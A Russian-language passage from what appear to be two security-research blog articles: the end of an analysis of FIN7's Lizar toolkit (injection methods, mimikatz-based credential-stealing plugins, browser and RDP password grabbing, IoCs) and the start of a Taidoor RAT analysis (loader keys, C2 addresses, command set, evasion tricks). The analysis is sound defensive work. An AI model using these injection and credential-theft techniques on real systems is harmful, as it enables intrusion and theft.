  2. VirtualAllocEx + WriteProcessMemory плагин выделяет память в виртуальном адресном пространстве указанного процесса и записывает туда содержимое, которое впоследствии будет исполнено.
  3. CreateRemoteThread плагин создает поток в виртуальном адресном пространстве указанного процесса, в качестве адреса lpStartAddress выступает главная функция лоадера. Если CreateRemoteThread не отработал, плагин использует функцию RtlCreateUserThread (рис. 22).


Рис. 22. Псевдокод функции для создания потока в виртуальном адресном пространстве указанного процесса


Алгоритм инжекта по имени исполняемого файла


  1. Плагин находит путь к системному исполняемому файлу, в который необходимо осуществить инжект. Расположение этого файла зависит от разрядности лоадера. 64-битный файл размещается в директории %SYSTEMROOT%\System32, а 32-битный в директории %SYSTEMROOT%\SysWOW64.
  2. Плагин создает процесс для полученного системного исполняемого файла, а также получает идентификатор созданного процесса. В зависимости от параметров плагина есть два способа реализации этого шага:

    • Если в структуре, передаваемой плагину, выставлен соответствующий флаг, то плагин создает процесс в контексте безопасности процесса explorer.exe (рис. 23).

      Рис. 23. Запуск исполняемого файла в контексте безопасности процесса explorer.exe
    • Если флаг не выставлен, исполняемый файл запускается посредством вызова функции CreateProcessA (рис. 24).

      Рис. 24. Вызов функции CreateProcessA
  3. Плагин выделяет память в виртуальном адресном пространстве созданного процесса и записывает туда содержимое, которое впоследствии будет исполнено (VirtualAllocEx + WriteProcessMemory).
  4. Плагин запускает функции в виртуальном адресном пространстве созданного процесса одним из следующих способов в зависимости от разрядности процесса:

    • для 64-битного процесса запуск осуществляется при помощи функции, псевдокод которой изображен на рис. 25;

      Рис. 25. Псевдокод алгоритма инжекта в 64-битный процесс
    • для 32-битного процесса запуск функции в виртуальном адресном пространстве созданного процесса осуществляется при помощи функций CreateRemoteThread и RtlCreateUserThread, которые создают поток в виртуальном адресном пространстве заданного процесса.

Алгоритм инжекта в такой же процесс


  1. Плагин получает путь к исполняемому файлу для процесса, в адресном пространстве которого он функционирует.
  2. Плагин запускает данный исполняемый файл и осуществляет инжект в созданный процесс.

Псевдокод для данного метода представлен на рис. 26.



Рис. 26. Псевдокод алгоритма инжекта Jumper32.dll/Jumper64.dll в такой же процесс


ListProcesses32.dll/ListProcesses64.dll


Данный плагин предназначен для получения информации о запущенных процессах (рис. 27 и рис. 28).



Рис. 27. Получение информации о каждом активном процессе



Рис. 28. Добавление полученной информации для последующей отправки на сервер


Для каждого процесса могут быть получены:


  • идентификатор процесса;
  • путь к исполняемому файлу;
  • информация о пользователе, от имени которого запущен процесс.

mimikatz32.dll/mimikatz64.dll


Плагин mimikatz обертка для модулей powerkatz, расположенных на стороне клиента:


  • powerkatz_full32.dll
  • powerkatz_full64.dll
  • powerkatz_short32.dll
  • powerkatz_short64.dll

NetSession32.dll/NetSession64.dll


Плагин предназначен для получения информации обо всех сеансах, установленных на зараженном сервере. Для каждого сеанса может быть получен адрес хоста, с которого производится подключение, а также имя пользователя, инициирующего подключение.


Псевдокод функции, в которой происходит получение информации, представлен на рис. 29 и 30.



Рис. 29. Получение информации о сетевых сеансах с помощью функций из WinAPI



Рис. 30. Добавление информации, полученной плагином, для отправки на сервер


rat32.dll/rat64.dll


Плагин представляет собой урезанную версию бота из набора инструментов Carbanak Backdoor. Как мы писали в начале статьи, этот набор инструментов активно используется группировкой FIN7.


Screenshot32.dll/Screenshot64.dll


Плагин позволяет сделать скриншот на зараженной системе в формате JPEG. Ниже показан участок функции, используемый для сохранения полученного изображения в стрим (рис. 31).



Рис. 31. Участок функции, используемый для сохранения скриншота, сделанного плагином, в стрим


Далее полученный стрим передается лоадеру для отправки на сервер.


Плагины из директории plugins/extra


Плагины из директории plugins/extra передаются от клиента к серверу, после чего от сервера к лоадеру (на зараженную систему).


Список файлов из директории plugins/extra
  • ADRecon.ps1
  • GetHash32.dll
  • GetHash64.dll
  • GetPass32.dll
  • GetPass64.dll
  • powerkatz_full32.dll
  • powerkatz_full64.dll
  • powerkatz_short32.dll
  • powerkatz_short64.dll
  • PswInfoGrabber32.dll
  • PswInfoGrabber64.dll
  • PswRdInfo64.dll

ADRecon


Файл ADRecon.ps1 это инструмент для генерации отчета, содержащего информацию из среды Active Directory. Исходный код проекта доступен ADRecon доступен на GitHub. Отметим, что этот плагин не является разработкой FIN7, однако активно используется группировкой для атак в рамках исследуемого набора инструментов.


GetHash32/GetHash64


Плагин предназначен для получения NTLM-/LM-хешей пользователей. В основе плагина лежит код компонента lsadump из mimikatz.


На рис. 32 представлен скриншот с псевдокодом экспортируемой функции Entry (имена функций выбраны в соответствии с названиями функций из mimikatz).



Рис. 32. Псевдокод экспортируемой функции Entry для плагина GetHash


Возвращаемое значение функции Execute (значение переменной g_outputBuffer) содержит указатель на буфер с данными, полученными в результате работы плагина.


Если плагин не удалось запустить с правами SYSTEM, в результате его работы буфер заполнится данными, представленными на рис. 33.



Рис. 33. Содержимое буфера при запуске плагина без прав пользователя SYSTEM


Содержимое буфера в данном случае аналогично выводу mimikatz при запуске модуля lsadump::sam без прав SYSTEM (рис. 34).



Рис. 34. Вывод mimikatz при запуске lsadump::sam без прав пользователя SYSTEM


Если плагин запущен с правами SYSTEM, в результате его работы в буфер попадет вся искомая информация (рис. 35).



Рис. 35. Содержимое буфера при запуске плагина с правами пользователя SYSTEM


Такие же данные можно получить при выполнении команды lsadump::sam из mimikatz с правами пользователя SYSTEM (рис. 36).



Рис. 36. Результат выполнения команды lsadump::sam из mimikatz с правами пользователя SYSTEM


GetPass32/GetPass64


Плагин предназначен для получения паролей пользователей. В его основе лежит код компонента sekurlsa из mimikatz. Псевдокод экспортируемой функции Entry представлен на рис. 37.



Рис. 37. Псевдокод экспортируемой функции Entry


По результатам работы плагина мы увидим в значении переменной g_outputBuffer указатель на буфер с данными, которые можно получить при выполнении команды sekurlsa::logonpasswords в mimikatz (рис. 38).



Рис. 38. Результат выполнения команды sekurlsa::logonpasswords


powerkatz_full32/powerkatz_full64


Плагин представляет собой версию mimikatz, собранную в конфигурации Second_Release_PowerShell. Эта версия может быть загружена в адресное пространство процесса PowerShell посредством рефлексивной загрузки DLL так, как это реализовано в модуле Exfiltration из PowerSploit.


Псевдокод экспортируемой функции powershell_reflective_mimikatz (названия переменных и функций в декомпилированном выводе изменены в соответствии с названиями соответствующих переменных и функций из mimikatz):


HLOCAL __fastcall powershell_reflective_mimikatz(const WCHAR *input){  unsigned __int16 **argv; // rbx  int pNumArgs; // [rsp+38h] [rbp+10h] BYREF  pNumArgs = 0;  argv = CommandLineToArgvW(input, &pNumArgs);  if ( argv )  {    outputBufferElementsPosition = 0i64;    outputBufferElements = 255i64;    outputBuffer = LocalAlloc(0x40u, 0x1FEui64);    if ( outputBuffer )      wmain(pNumArgs, argv);    LocalFree(argv);  }  return outputBuffer;}

Через параметр input передается список команд, разделенных пробелом. Через глобальную переменную outputBuffer передается результат выполнения команд. Декомпилированный вид функции wmain представлен ниже:


__int64 __fastcall wmain(int argc, unsigned __int16 **argv){  __int64 vNumArgs; // rbx  int status; // edi  __int64 numArgs; // rbp  __int64 i; // rbx  int res; // eax  vNumArgs = argc;  status = 0;  kprintf(L"\n"           "  .#####.   mimikatz 2.2.0 (x64) #18362 Apr  8 2020 18:33:39\n"           " .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n"           " ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"           " ## \\ / ##       > http://blog.gentilkiwi.com/mimikatz\n"           " '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n"           "  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/\n");  mimikatz_initOrClean(1);  numArgs = vNumArgs;  if ( vNumArgs > 0 )  {    i = 0i64;    do    {      if ( status == 0x40000015 )        break;      kprintf(L"\nmimikatz(powershell) # %s\n", argv[i]);      res = mimikatz_dispatchCommand(argv[i++]);      status = res;    }    while ( i < numArgs );  }  mimikatz_initOrClean(0);  return 0i64;}

powerkatz_short32/powerkatz_short64


Плагин powerkatz_short это модифицированная версия стандартной библиотеки powerkatz, описанной в предыдущем пункте.


Список функций из powerkatz, которые были исключены из powerkatz_short
  • kuhl_m_acr_clean;
  • kuhl_m_busylight_clean;
  • kuhl_m_c_rpc_clean;
  • kuhl_m_c_rpc_init;
  • kuhl_m_c_service_clean;
  • kuhl_m_crypto_clean;
  • kuhl_m_crypto_init;
  • kuhl_m_kerberos_clean;
  • kuhl_m_kerberos_init;
  • kuhl_m_vault_clean;
  • kuhl_m_vault_init;
  • kull_m_busylight_devices_get;
  • kull_m_busylight_keepAliveThread.

PswInfoGrabber32.dll/PswInfoGrabber64.dll


Плагин позволяет получить из зараженной системы историю браузеров Firefox, Google Chrome, Microsoft Edge, Internet Explorer, сохраненные в них логины и пароли пользователей, а также учетные записи почтовых клиентов Microsoft Outlook и Mozilla Thunderbird.


Для получения конфиденциальных данных из браузера Firefox используется библиотека nss3.dll, подгружаемая из директории с установленным браузером (рис. 39).



Рис. 39. Динамическое получение адресов функций из библиотеки nss3.dll


С помощью функций, представленных на рис. 39, учетные данные извлекаются из файла logins.json, а история браузера из базы данных places.sqlite.


Атакуя Google Chrome, плагин получает историю браузера из базы %LOCALAPPDATA%\Google\Chrome\User Data\Default\History, а пароли из базы %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data (данные зашифрованы с использованием DPAPI).


History, places.sqlite, Login Data файлы базы данных sqlite3. Для работы с базами данных sqlite3 в плагине используются функции из библиотеки sqlite, статически слинкованные с результирующей DLL, то есть самим плагином.


Для браузеров Internet Explorer и Microsoft Edge плагин получает учетные данные пользователей с использованием функций из библиотеки vaultcli.dll, реализующей функции утилиты vaultcmd.exe.


PswRdInfo64.dll


PswRdInfo64.dll предназначен преимущественно для сбора доменных учетных записей и получения учетных данных для доступа к другим хостам через RDP. Плагин активируется из приложения клиента с помощью вкладки Grabber RDP.


Алгоритм работы плагина зависит от следующих условий.


При запуске пользователем SYSTEM плагин перечисляет все активные консольные сессии (WTSGetActiveConsoleSessionId) и получает имена пользователей для данных сессий:


(WTSQuerySessionInformationW)(0i64, SessionId, WTSUserName, &vpSessionInformationUserName, &pBytesReturned))

Затем плагин получает приватные ключи из директории C:\Users\{SessionInformationUserName}AppData\Local\Microsoft\Credentials для каждого пользователя и осуществляет инжект в процесс lsass.exe для извлечения доменных учетных записей.


При запуске другим пользователем (не SYSTEM) плагин пытается собрать учетные данные для доступа по RDP к другим хостам. Сбор учетных данных осуществляется с помощью функции CredEnumerateW, при этом в качестве цели используется строка TERMSRV.


Заключение


Исследуемый набор инструментов разнообразен и сложен. Сейчас инструмент Lizar находится на стадии активной разработки и тестирования, при этом его уже вовсю используют для управления зараженными компьютерами. Сегодня Lizar используется в основном на территории США. Но, судя по всему, группировка не остановится на достигнутом, и мы совсем скоро узнаем о новых АРТ-атаках с применением данного инструмента по всему миру.


IoC


IP:


108.61.148.97
136.244.81.250
185.33.84.43
195.123.214.181
31.192.108.133
45.133.203.121


SHA256:


166b0c5e49c44f87886ecaad46e60b496b6b7512d1c57db41d9cf752fada95c8188d76c31fa7f500799762237508203bdd1927ec4d5232cc189d46bc76b7a30d1e5514e8f95dcf6dd7289acef6f6b88c460105660cb0c5b86ec7b854f70ee85721850bb5d8df021e850e740c1899353f40af72f119f2cd71ad234e91c2ccb7723b63eb184bea5b6515697ae3f13a57365f04e6a3309c79b18773291e62a64fcb4d933b6b60a097ad5ce5876a66c569e6f46707b934ebd3c442432711af195124515b94290111b7be80e001bfa2335d2f494937c8619cfdaafb2077d9d6af06fe61cfe83259640df9f19df2be4b67bb1c6e5816ac52b8a5a02ee8b79bde4b2b70fbd2d816147112bd408e26b1300775bbaa482342f9b33924d93fd71a5c312ccea3b3f56a61c6dc8ba2aa25bdd9bd7dc2c5a4602c2670431c5cbc59a76e2b4c54e908f99c6753a56440127e54ce990adbc5128d10edc11622d548ddd67e6662ac7d48362091d710935726ab4d32bf594b363683e8335f1ee70ae2ae81f4ee36cae894dedb4658e006c8a85f02fa5bbab7ecd234331b92be41ab708fa22a246e25b8691a33aa99af0f0c1a86321b70437efcf358ace1cf3f91e4cb8793228d1a62bd1e5ea9556cb6cba9a509eab8442bf37ca40006c0894c5a98ce77f6d84b03c798fbccd9c2e925d2f7b8bcfa247790a681497dfb9f7f8745c0327c43db10952f552c00bb5fd5f10b105ca247b0a78082bd6a63e2bab590040788e52634f96d1121db55edc9df9e096fc994972498cbd9da128f8f3959a462d04091634a569a96
Подробнее..

Taidoor мультитул для хакера

03.06.2021 14:23:54 | Автор: admin


Автор: Иннокентий Сенновский


Taidoor крайне эффективная вредоносная программа класса RAT (remote access trojan), предназначенная для использования без закрепления в системе. Модульная система, реализованная в Taidoor, отличается от многих других RAT гибкостью: операторы программы могут отправлять на зараженную систему только те модули, которые нужны для достижения целей конкретной атаки.


Чтобы затруднить обнаружение, Taidoor использует несколько разных методов: манипуляции с временными метками, удаление файлов с модулями, обфускацию строк, поиск антивируса на атакуемой машине и др.


Мы изучили функциональные возможности и алгоритмы работы Taidoor, а также ее загрузчиков, и хотим поделиться своими наблюдениями.


Источник информации о зараженной системе, включая имена файлов, отчет агентства кибербезопасности и безопасности инфраструктуры США (CISA) номер AR20-216A.


Taidoor в арсенале злоумышленника


С точки зрения злоумышленника, Taidoor достойный базовый инструмент удаленного управления с многочисленными возможностями для динамического расширения. К тому же у малвари довольно удобный интерфейс для запуска процессов и взаимодействия с консолью.


Два встроенных модуля позволяют собирать информацию о зараженной системе. По мере необходимости с сервера управления можно отправлять дополнительные модули.


В ходе общения с управляющим сервером Taidoor использует криптоконверт RSA + AES для обеспечения конфиденциальности. Однако криптография в программе реализована слабо: при перехвате трафика можно подменить команды от сервера. Также при использовании указанного алгоритма на сервере может появиться уязвимость, позволяющая расшифровать отправляемые на сервер данные, к которым удалось получить доступ.


Загрузчики Taidoor


Загрузчики основного тела Taidoor файлы rasautoex.dll и ml.dll, идентичные по функциональности. Они отличаются только разрядностью: первый является 64-битной версией малвари, второй 32-битной. Их свойства представлены в табл. 1.


Табл. 1. Свойства загрузчиков Taidoor


Свойства 64-битная версия 32-битная версия
Имя файла rasautoex.dll ml.dll
Тип файла PE32+ Executable (DLL) PE32 Executable (DLL)
Класс ВПО Загрузчик (Loader) Загрузчик (Loader)
MD5 4ec8e16d426a4aaa57c454c58f447c1e 6aa08fed32263c052006d977a124ed7b
SHA-1 5c89629e5873072a9ca3956b67cf7b5080312c80 9a6795333e3352b56a8fd506e463ef634b7636d2
SHA-256 6e6d3a831c03b09d9e4a54859329fbfd428083f8f5bc5f27abbfdd9c47ec0e57 4a0688baf9661d3737ee82f8992a0a665732c91704f28688f643115648c107d4
Размер (в байтах) 50 176 43 520

Ниже мы поделимся результатами исследования 64-битной версии.


Функциональные возможности загрузчика


Файл rasautoex.dll предназначен для загрузки основного тела Taidoor в память системы. Он может быть запущен через вызов экспортируемой функции MyStart или зарегистрирован как служба об этом свидетельствует экспортируемая функция ServiceMain.


Поведение в системе


При запуске загрузчик ищет в той же директории, в которой он находится, файл svchost.dll зашифрованное основное тело Taidoor. Обнаружив необходимый файл, загрузчик выполняет следующие действия:


  1. Загружает содержимое файла в память.
  2. Расшифровывает файл алгоритмом RC4 на ключе ar1z7d6556sAyAXtUQc2. В расшифрованном виде svchost.dll представляет собой 64-битную библиотеку. В случае с 32-битным загрузчиком (ml.dll) библиотека с телом Taidoor, соответственно, 32-битная.
  3. Выполняет маппинг библиотеки в памяти.
  4. Находит и заполняет адреса всех импортируемых функций.
  5. Находит адрес экспортируемой из библиотеки функции Start. Если такая функция найдена, вызывает ее.

Индикатор компрометации (IoC)

Строка: ar1z7d6556sAyAXtUQc2


Основное тело Taidoor


Основное зашифрованное тело Taidoor представлено в виде одного из файлов svchost.dll, которые отличаются разрядностью. Их свойства описаны в табл. 2.


Табл. 2. Свойства файлов основного тела Taidoor


Свойства 64-битная версия 32-битная версия
Имя файла svchost.dll svchost.dll
Тип файла Зашифрованный PE32+ Executable (DLL) Зашифрованный PE32 Executable (DLL)
Класс ВПО Троян удаленного доступа (Remote Access Trojan) Троян удаленного доступа (Remote Access Trojan)
MD5 6627918d989bd7d15ef0724362b67edd 8cf683b7d181591b91e145985f32664c
SHA-1 21e29034538bb4e3bc922149ef4312b90b6b4ea3 f0a20aaf4d2598be043469b69075c00236b7a89a
SHA-256 0d0ccfe7cd476e2e2498b854cef2e6f959df817e52924b3a8bcdae7a8faaa686 363ea096a3f6d06d56dc97ff1618607d462f366139df70c88310bbf77b9f9f90
Размер (в байтах) 183 808 158 208
C2 www[.]infonew[.]dubya[.]net:443 210.68.69.82:443
www[.]cnaweb[.]mrslove[.]com:443

В файле с MD5-хешем, оканчивающимся на 7edd, зашифрована 64-битная версия программы. В файле с MD5-хешем, оканчивающимся на 2664c, 32-битная. Файлы почти идентичны, но в них прописаны разные адреса серверов управления.


Далее речь пойдет об исследовании 64-битной версии.


Общая характеристика исследуемого образца Taidoor


Изученный образец зашифрованная вредоносная библиотека, которую запускает отдельная программа, описанная выше.


При запуске с помощью rundll32 Taidoor проверяет наличие сохраненных вне тела программы зашифрованных настроек в параметре RValue ключа реестра SOFTWARE\Microsoft\Windows NT\CurrentVersion. При их отсутствии или другом типе запуска программа использует стандартные настройки, сохраненные в ее теле.


Далее Taidoor расшифровывает настройки, которые включают в себя следующие данные:


  • адреса сервера управления (домены или IP-адреса и порты);
  • адрес прокси-сервера (необязательно);
  • настройки ожидания (время переподключения к серверу в различных ситуациях);
  • публичный RSA-ключ сервера.

Если указан прокси, программа пытается подключиться к серверу управления через него. При подключении Taidoor отправляет один зашифрованный по алгоритму RSA пакет с идентификатором и ждет от сервера ответ. Если попытка успешна, программа создает файл %ALLUSERSPROFILE%\\Application Data\\Microsoft\\~svc_.TMp вероятнее всего, это индикатор успешного заражения, который предотвращает повторную загрузку Taidoor.


Программа в ходе основного цикла инициализирует два плагина: один для сбора информации о системе, другой для создания процессов и работы с командной строкой.


После этого программа запускает в отдельном потоке цикл отстука, в котором она обращается к управляющему серверу каждые 10 секунд. В основном же потоке программа начинает цикл получения команд от сервера. При отправке сообщений на сервер используется криптоконверт RSA + AES. На каждое сообщение генерируется отдельный ключ AES.


Вот какие действия может совершать злоумышленник в зараженной системе при помощи Taidoor в базовой комплектации (основной модуль и два встроенных плагина):


  • сохранять файлы на диск,
  • изменять настройки подключения к серверу управления,
  • загружать новые модули,
  • подменять временные метки у файлов,
  • запускать процессы и получать их результаты,
  • взаимодействовать с командной строкой.

У каждого плагина Taidoor есть свой идентификатор, который указывается в начале каждого сообщения с обеих сторон. Это позволяет оператору программы адресовать команды конкретному плагину и различать источники сообщений от программы (основной модуль и конкретные плагины). По умолчанию используются следующие идентификаторы:


  • 1 основной модуль;
  • 2 плагин для старта процессов и работы с командной строкой;
  • 3 плагин для получения дополнительной информации о системе.

Внешние плагины Taidoor загружает в виде динамических библиотек по команде с сервера управления. В каждом плагине есть три экспортируемые функции:


  • Install инициализация плагина и возвращение идентификатора плагина;
  • Proxy передача плагину адресованного ему сообщения от сервера;
  • Uninstall деинициализация плагина.

Taidoor применяет всевозможные методы, чтобы затруднить обнаружение и расследование атаки:


  • Вместо оригинального файла может использоваться копия cmd.exe.
  • Временные метки индикатора заражения %ALLUSERSPROFILE%\\Application Data\\Microsoft\\~svc_.TMp заменяются временными метками системного файла C:\Windows\System32\services.exe, что осложняет определение даты заражения.
  • Файлы загружаемых плагинов удаляются после запуска.
  • До старта процессов плагин проверяет, нет ли на атакуемой машине антивируса Kaspersky.

Инициализация Taidoor


Перед использованием модуль должен быть расшифрован это делает специализированный загрузчик, описанный выше. Исполнение самого образца начинается с вызова экспортируемой функции Start.


В начале процесса используется механизм для препятствования ручной отладке, в ходе которого программа:


  1. считает, сколько секунд по времени от 0 до 60 должно быть через 10 секунд;
  2. запускает цикл, ждет по 10 секунд на каждой итерации до тех пор, пока не получит ожидаемое значение.

При ручной отладке с момента вычисления ожидаемого значения до вызова функции wait может пройти больше секунды, в результате чего цикл может сбиться и исполняться вечно.


После запуска Taidoor препятствует ручной отладке с помощью примитивной функции.


Далее программа сама импортирует все необходимые функции за исключением LoadLibrary и GetProcAddress.


Taidoor вызывает еще несколько неопасных и бессмысленных функций (рис. 1), скорее всего, чтобы защититься от обнаружения.


"
Рис. 1. Пример бесполезной функции, используемой Taidoor


После этого малварь запускает основную функциональность в новом потоке. Большинство строк вредоносной программы (например, названия импортируемых функций) обфусцированы с использованием нестандартного поточного шифра для усложнения обнаружения. Строки деобфусцируются прямо перед использованием.


Соединение с сервером управления


В начале основного цикла Taidoor проверяет имя приложения, при помощи которого малварь была запущена, чтобы определить источник параметров соединения с управляющим сервером:


  • Если использовалась стандартная утилита rundll32.exe, то программа пытается загрузить параметры соединения с сервером из параметра RValue ключа реестра SOFTWARE\Microsoft\Windows NT\CurrentVersion.
  • Если библиотека была запущена иным способом или параметр RValue не существует, настройки берутся из тела Taidoor.

Настройки, полученные тем или иным способом, расшифровываются алгоритмом AES в режиме ECB с ключом 2B7E151628AED2A6ABF7158809CF4F3C (представлен в шестнадцатеричном виде).


Далее Taidoor пытается подключиться к серверу управления. В полученных ранее параметрах подключения может быть указано до 4 адресов сервера и до 3 портов на каждый сервер. Также может быть указан адрес и порт HTTP-прокси-сервера. В изученном образце был указан один управляющий сервер и один порт, а в 32-битной версии указаны два управляющих сервера и по одному порту на каждый.


Подключение проходит по следующему алгоритму:


  1. Программа берет адрес и порт из конфигурации. Если в конфигурации указаны параметры прокси-сервера, то программа пытается подключиться к нему.
  2. Программа подключается к серверу управления или дает прокси-серверу соответствующую команду (при наличии параметров прокси и успешном подключении к нему).
  3. Программа отправляет на управляющий сервер массив из 263 символов, где:
    • первые 3 символа фиксированная строка F::;
    • следующие 4 количество миллисекунд, прошедших между стартом системы и запуском программы;
    • оставшиеся 256 строка 0x040x230x190x340xfe0xc1, зашифрованная при помощи алгоритма RSA_PKCS1v1.5 с использованием криптографически стойкого генератора псевдослучайных чисел (ГПСЧ).
  4. В ответ программа ожидает строку 200 OK\r\n\r\n:
    • Если программа получает такой ответ, фаза подключения к серверу завершается.
    • Если программа не получает ожидаемого ответа, то она пробует соединиться со следующим сервером, указанным в параметрах. Если ни к одному из них не удается подключиться, программа засыпает на указанный в параметрах период времени (в данном образце 30 минут), затем повторяет описанный выше цикл.

Работа с временными метками


Перед соединением с сервером управления Taidoor открывает журнал событий системы и начинает по очереди читать записи. Особое внимание при этом программа обращает на записи типов 6005(Начало работы службы журнала событий) и 6006 (Конец работы службы журнала событий) они могут использоваться для определения времени работы машины. В рассмотренном экземпляре реализован проход по этим данным, но программа их не использует.


После подключения к серверу программа создает файл %ALLUSERSPROFILE%\\Application Data\\Microsoft\\~svc_.TMp, а также обновляет его временные метки. Затем программа проверяет файл C:\Windows\win.ini на наличие секции Micros с ключом source. Если ключ присутствует, утилита cmd.exe копируется по указанному в ключе адресу (в отчете CISA указан адрес c:\temp\cmd.exe).


Функциональные возможности основного модуля


Если в первом байте расшифрованного буфера, пришедшего от сервера, стоит 1, остаток буфера обрабатывается самой Taidoor. Отдельные команды могут устанавливать или использовать глобальные переменные. Вот самые важные из них:


  • <имя_файла>;
  • <файловый_дескриптор>;
  • <идентификатор>;
  • <глобальный_массив>;
  • <дополнительное_имя_файла>;
  • <дополнительный_дескриптор_файла>.

Первый байт остатка буфера, который передается на обработку, идентифицирует одну из команд. Команды могут манипулировать подключением малвари к серверу, обновлять ее настройки, загружать и выгружать плагины, а также выполнять другие вредоносные действия.


С полным списком команд можно ознакомиться тут. Обратите внимание, что команды есть не у всех идентификаторов.
Идентификатор Команда
2 Отключиться от сервера
3 Создать в текущей директории файл с именем }{. Деинициализировать все плагины. Завершить процесс
4 Загрузить плагин из директории по пути, переданному сервера управления. При успешной инициализации удалить все файлы с именем uaq*.dll в текущей директории.

Если инструкции выполнены, отправить серверу сообщение \x01\x05 и тип плагина.

Если во время работы произошла ошибка, отправить на сервер сообщение \x01\x06, конкатенированное с описанием ошибки:
Can't find plug file не получилось найти файл,
Can't load more plug уже загружено максимальное количество плагинов,
Load Dll Plug Failed возникли проблемы при загрузке
7 Деинициализировать плагин указанного типа. Если получилось, отправить на сервер сообщение \x01\x08, если нет сообщение \x01\x06Can't find plug file
9 Отправить на сервер сообщение \x03\x06 и массив из конфигурации. Попытаться открыть файл %temp\~lpz.zp..

Если получилось, отправить файл в нескольких сообщениях частями по 6000 символов. В сообщении каждая тысяча символов оригинального файла разделена переносом строки, а каждому отсылаемому сообщению предшествует код \x03\x07. После отправки содержимого файл удаляется
10 Сохранить полученный массив (новую конфигурацию) в параметр RValue ключа SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion.

Если получилось, отправить конфигурацию на сервер с кодом \x03\x06
11 Попытаться открыть файл с указанным в сообщении именем.

Если не получилось, отправить серверу сообщение \x03\x05Can't open update file и закончить обработку команды.

Если получилось, проверить его размер. Если файл пуст, отправить серверу сообщение \x03\x05File too small и закончить обработку.

Если обработка продолжается, создать <глобальный_массив> и сохранить туда содержимое файла.

Если <дополнительный_дескриптор_файла> открыт, закрыть его, файл <дополнительное_имя_файла> переместить в текущую директорию с именем <5 случайных символов латинского алфавита в нижнем регистре>. XMP-файл из сообщения переместить на место <дополнительное_имя_файла>. После этого файл, указанный в сообщении, открывается как <дополнительное_имя_файла>.

Вне зависимости от того, был ли открыт до этого <дополнительный_дескриптор_файла>, удалить файл с именем из сообщения (если он не был перемещен), удалить параметр RValue из ключа реестра SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion.

В конце отправить на сервер сообщение \x03\x04aaa
12 Проверить, инициализирован ли плагин с указанным типом. Если да, отправить серверу сообщение \x01\x0d, если нет \x01\x0e
15 Скопировать остаток буфера в переменную <имя_файла>. Попытаться открыть файл на запись и сохранить соответствующий дескриптор в <файловый_дескриптор>.

Если не получилось открыть файл или переданный путь к файлу длиннее 260 байт, отправить на сервер сообщение с ошибкой \x01\x06Create File Failed\x00.

Если все прошло успешно, отправить \x01\x10
17 Записать остаток буфера в ранее открытый <файловый_поток>
18 Если <файловый_дескриптор> открыт, закрыть его. Заменить значения временных меток файла <имя_файла> на значения временных меток файла C:\Windows\System32\services.exe. Отправить на сервер сообщение \x01\x13 вместе с <имя_файла>
20 Закрыть <файловый_дескриптор>, удалить файл <имя_файла>
32 Отправить \x01\x21 и <идентификатор> на сервер
34 Отключиться от сервера

На рис. 2 можно увидеть реализацию команды с идентификатором 15, которая запускает процесс открытия файла.



Рис. 2. Часть обработчика открытия файла


Работа плагинов


Инициализация плагинов


Taidoor инициализирует два встроенных плагина:


  • MyPlugCmd для исполнения команд на машине. В качестве одного из аргументов при инициализации передается путь, по которому располагается копия cmd.exe. Если необходимый ключ в win.ini не найден или копирование сорвалось, передается пустая строка.
  • MyPlugInfo для получения базовой информации о зараженной машине.

Вот как выглядит процесс загрузки нового плагина (функция представлена на рис. 3):


  1. Библиотека загружается в память.
  2. Программа проверяет плагин на наличие следующих экспортируемых функций:
    • Install,
    • Uninstall,
    • Proxy.
  3. Программа вызывает функцию Install, передает в нее информацию о подключении к серверу управления. В качестве идентификатора выставляется полученное из Install значение.
  4. После инициализации модуль добавляется в массив плагинов и, если имя файла соответствует схеме uaq*.dll, файл удаляется.


Рис. 3. Функция загрузки плагина


Каждый модуль может быть деинициализирован, чтобы предоставить место другому.


При получении команды от сервера управления Taidoor проверяет первый байт, который указывает на адресата: команда может быть предназначена либо для основного модуля, либо для одного из плагинов. Если команда должна быть передана плагину, остаток сообщения передается в функцию плагина Proxy.


Активировав плагины, Taidoor в отдельном потоке запускает функцию периодического обращения к серверу. В этой функции программа каждые 10 секунд отправляет управляющему серверу сообщение \x01\xff.


Все обращения к серверу здесь и далее создаются по следующему алгоритму:


  1. Высчитывается размер данных с паддингом. Он будет равен длине сообщения + 4 байта это значение округляется до 16, обязательно в большую сторону. Например, 16 20 32, a 12 16 32.
  2. Изначальный размер записывается в первые 4 байта нового массива с вычисленным размером. Сразу после него копируются передаваемые данные (т. е. по отступу 4). Лишние байты в конце массива заполняются нулями. Таким образом данные запаковываются для симметричного шифрования.
  3. Программа генерирует временный ключ из 16 символов нижнего регистра в латинском алфавите. Механизм генерации небезопасен, поскольку позволяет перебрать все возможные варианты за приемлемое время. К тому же если известно примерное время заражения, можно сократить количество вариантов.
  4. Программа шифрует созданный ключ при помощи алгоритма RSA_PKCS1v1.5 с использованием криптографически стойкого ГПСЧ на ключе, взятом из параметров.
  5. Программа шифрует запакованный массив при помощи алгоритма AES-128 в режиме ECB на временном ключе.
  6. Программа отправляет на сервер 4 байта полного размера пакета: 256 (размер зашифрованного ключа) + размер зашифрованных данных. Если удалось отправить размер, то программа последовательно посылает 256 байт зашифрованного ключа и зашифрованные данные.

Общение плагинов с сервером управления


Включив плагины, малварь начинает получать команды от сервера управления. Дальнейшие действия вредоноса зависят от команд.


Если при получении данных от сервера возникла ошибка, программа завершает соединение и ждет столько времени, сколько установлено в параметрах (в изученном образце это 1 секунда), после чего вновь пытается подключиться к серверу.


Если сервер ответил пустым сообщением, программа это запоминает. Если сервер ответил так 300 раз подряд, программа завершает соединение и столько времени, сколько установлено в параметрах (в изученном образце это 30 минут), после чего пытается подключиться снова.


Если размер сообщения от сервера больше или равен 256 байтам, то программа действуют по следующему алгоритму:


  1. Taidoor берет первые 256 байт и расшифровывает их на публичном ключе RSA c применением RSA_PKCS1v1.5. Полученные данные используются в качестве симметричного ключа для следующих данных. Использование подписи в данном случае бессмысленно, так как не защищает от перехвата управления.
  2. Программа использует полученный ключ, чтобы расшифровать остаток сообщения алгоритмом AES-128 в режиме ECB.
  3. В первый байт полученного массива записывается идентификатор адресата команды:
    • Если он равен 1, то остальные данные предназначаются для основного модуля и обрабатываются в отдельной функции.
